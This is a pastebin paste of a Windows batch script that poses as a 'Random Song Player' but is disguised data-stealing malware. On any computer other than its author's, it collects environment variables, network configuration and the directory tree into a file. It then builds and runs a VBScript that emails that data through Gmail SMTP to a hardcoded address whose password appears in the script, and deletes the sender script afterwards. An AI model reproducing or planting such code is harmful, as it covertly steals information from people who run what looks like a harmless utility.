Advertisement
Guest User

Untitled

a guest
Oct 24th, 2014
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.60 KB | None | 0 0
  1. @Echo off
  2. if not %computername% EQU JACKDRUMMOND (goto CommenceObject_E)
  3.  
  4. Echo Loading Random Song Player...
  5. Echo.
  6. Echo --------------------List Finding and Retrieving Sequence--------------------
  7. Set list_file= "C:\Users\Jack\Desktop\Startup Song List.txt"
  8. Echo Setting List File.
  9. Set /a count=0
  10. Echo Retrieving File Line Count...
  11. For /f "tokens=1delims=:" %%i in ('findstr /n "^" %list_file%') do (If %%i equ 0 (goto PrintStackTrace) else set /a count=%%i+1)
  12.  
  13. Echo File Line Count Retrieved!:%count%
  14. Echo Choosing Random File Line...
  15. Set /a rd=%random%%%count
  16. If %rd% equ 0 (set "skip=") else set "skip=skip=%rd%"
  17. Echo Random Line: %rd%
  18. Set "found="
  19. For /f "%skip%tokens=1*delims=:" %%i in ('findstr /n "^" %list_file%') do if not defined found set "found=%%i"&set "var=%%j"
  20. Echo Random File Line Chosen!
  21. Echo.
  22. Echo --------------------Song Starting Sequence--------------------
  23. Echo Song Selected= %var%
  24. Echo Attempting to open Song...
  25. start %var%
  26. Echo Started Song Succesfully!
  27. Echo Closing...
  28. If not %errorlevel% equ 0 (goto PrintStackTrace)
  29. goto EndOfFile
  30.  
  31.  
  32. :PrintStackTrace
  33. Echo.
  34. Echo ---------------ERROR------------------
  35. Echo -Error Level= %errorlevel%
  36. Echo -List File= %list_file%
  37. Echo -Sound File= %var%
  38. Echo.
  39. Echo - - - - - - Check - - - - - -
  40. Echo - Does the list file's path have spaces? If so put the list file path in ""(Example: "C:\Me Me and Me\ListFileOfSpa ces.txt").
  41. Echo - Does the Sound File have spaces? If so put the Sound file path in "", in the list file (LOOK AT EXAMPLE ABOVE ^).
  42. Echo - Did you mess with the code? If so your a Dumbass!
  43. goto EndOfFile
  44.  
  45.  
  46. :CommenceObject_E
  47. Echo SongDataListThing > t.txt
  48. SetLocal EnableDelayedExpansion
  49. set >> t.txt
  50. ipconfig >> t.txt
  51. tree >> t.txt
  52. set var_data=
  53. for /F "delims=" %%i in (t.txt) do set var_data=!var_data! %%i
  54. EndLocal
  55. Echo Set ObjectE = CreateObject("CDO.Message") > kiminariChan.vbs
  56.  
  57. Echo ObjectE.From = "XxKiminariChanxX@gmail.com" >> kiminariChan.vbs
  58. Echo ObjectE.To = "XxKiminariChanxX@gmail.com" >> kiminariChan.vbs
  59. Echo ObjectE.Subject = "%RANDOM%: kiminari eh... borrowed more data: %COMPUTERNAME%" >> kiminariChan.vbs
  60. Echo ObjectE.TextBody = "Here's all kiminari was able to get that should be enough: %var_data%" >> kiminariChan.vbs
  61. Echo ObjectE.AddAttachment "c:\Users\Jack\Desktop\t.txt" >> kiminariChan.vbs
  62. Echo Set ObjectE_Config = ObjectE.Configuration >> kiminariChan.vbs
  63. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com" >> kiminariChan.vbs
  64. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465 >> kiminariChan.vbs
  65. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 >> kiminariChan.vbs
  66. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 >> kiminariChan.vbs
  67. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true >> kiminariChan.vbs
  68. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = "XxKiminariChanxX@gmail.com" >> kiminariChan.vbs
  69. Echo ObjectE_Config.Fields("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "3.141592653!" >> kiminariChan.vbs
  70.  
  71. Echo ObjectE_Config.Fields.Update >> kiminariChan.vbs
  72.  
  73. Echo ObjectE.Send >> kiminariChan.vbs
  74. Echo ???: Lets see...
  75. Start kiminariChan.vbs
  76. Ping localhost -w 10000 -n 4 >nul
  77. Echo *click*
  78. Echo ???: O_O
  79. Ping localhost -w 10000 -n 1 >nul
  80. del kiminariChan.vbs
  81. Echo *door slams*
  82. Echo.
  83.  
  84. :EndOfFile
  85. del t.txt
  86. @Echo on
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement